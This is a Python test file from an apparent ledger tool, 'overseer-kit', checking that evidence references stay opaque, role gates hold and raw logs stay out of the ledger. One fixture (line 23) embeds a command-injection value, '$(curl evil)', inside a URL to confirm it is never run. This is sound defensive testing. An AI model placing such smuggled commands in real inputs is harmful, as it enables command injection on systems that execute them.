aaronrene / overseer-kit public
test_p_evidence_security.py python
88 lines 3.1 KB
Raw
sha256:a78e7e5a8740e03315f325d19edeb3aa1b306b3337d04abbaa9a9e0f3bbeb7a1 docs: MuseHub-first before ISR #74 — staging solidify NEXT Human 2 days ago
1 """Security tests for P-evidence opaque refs and role gates (§PE.10)."""
2
3 from __future__ import annotations
4
5 import inspect
6 import json
7
8 from cli.kit_root import kit_root
9 from tests.fixtures.p_evidence import load_p_evidence_entry, seed_p_evidence_repo
10 from tests.support import git_status_runner, run_cli
11 from tools.honesty.ledger import append_entry
12 from tools.honesty.status import HonestyStatusOptions, run_honesty_status
13 from tools.honesty.types import LedgerAppendOptions
14
15
16 def test_url_like_ref_treated_as_opaque_string(repo_root) -> None:
17 config = seed_p_evidence_repo(repo_root)
18 body = load_p_evidence_entry("verification-evidence-pass.json")
19 body["artifacts"] = [
20 {
21 "type": "deploy_health",
22 "sha256": "e" * 64,
23 "ref": "https://example.com/health?token=$(curl evil)",
24 }
25 ]
26 code = append_entry(
27 config=config,
28 repo_root=repo_root,
29 options=LedgerAppendOptions(kind="verification_evidence", body=body),
30 ).exit_code
31 assert code == 0
32
33
34 def test_no_network_imports_on_append_verify_match_paths() -> None:
35 import tools.honesty.ledger as ledger_mod
36 import tools.honesty.status as status_mod
37 import tools.honesty.validate as validate_mod
38
39 for module in (ledger_mod, status_mod, validate_mod):
40 source = inspect.getsource(module)
41 assert "urllib" not in source
42 assert "requests" not in source
43 assert "httpx" not in source
44
45
46 def test_producer_cannot_append_verification_evidence(repo_root) -> None:
47 config = seed_p_evidence_repo(repo_root)
48 body = load_p_evidence_entry("verification-evidence-producer.json")
49 result = append_entry(
50 config=config,
51 repo_root=repo_root,
52 options=LedgerAppendOptions(kind="verification_evidence", body=body),
53 )
54 assert result.exit_code == 23
55
56
57 def test_ledger_lines_hashes_only_no_raw_payload(tmp_path) -> None:
58 seed_p_evidence_repo(tmp_path)
59 body = load_p_evidence_entry("verification-evidence-pass.json")
60 body["artifacts"][0]["ref"] = "logs/full-test-output.log"
61 payload = tmp_path / "payload.json"
62 payload.write_text(json.dumps(body), encoding="utf-8")
63 log = tmp_path / "logs"
64 log.mkdir()
65 secret_log = "SECRET_LOG_PAYLOAD_SHOULD_NOT_APPEAR"
66 (log / "full-test-output.log").write_text(secret_log, encoding="utf-8")
67 assert run_cli(
68 ["ledger", "append", "--kind", "verification_evidence", "--file", "payload.json"],
69 cwd=tmp_path,
70 runner=git_status_runner(),
71 kit=kit_root(),
72 ) == 0
73 ledger_text = (tmp_path / ".overseer" / "honesty" / "VERDICT-LEDGER.jsonl").read_text(encoding="utf-8")
74 assert secret_log not in ledger_text
75
76
77 def test_exit_33_not_waived_when_require_configured(repo_root) -> None:
78 config = seed_p_evidence_repo(repo_root, require_verification_evidence="require")
79 result = run_honesty_status(
80 config=config,
81 repo_root=repo_root,
82 options=HonestyStatusOptions(
83 hook=None,
84 artifact=None,
85 verification_evidence="Track P / P-evidence",
86 ),
87 )
88 assert result.exit_code == 33
File History 1 commit
sha256:a78e7e5a8740e03315f325d19edeb3aa1b306b3337d04abbaa9a9e0f3bbeb7a1 docs: MuseHub-first before ISR #74 — staging solidify NEXT Human 2 days ago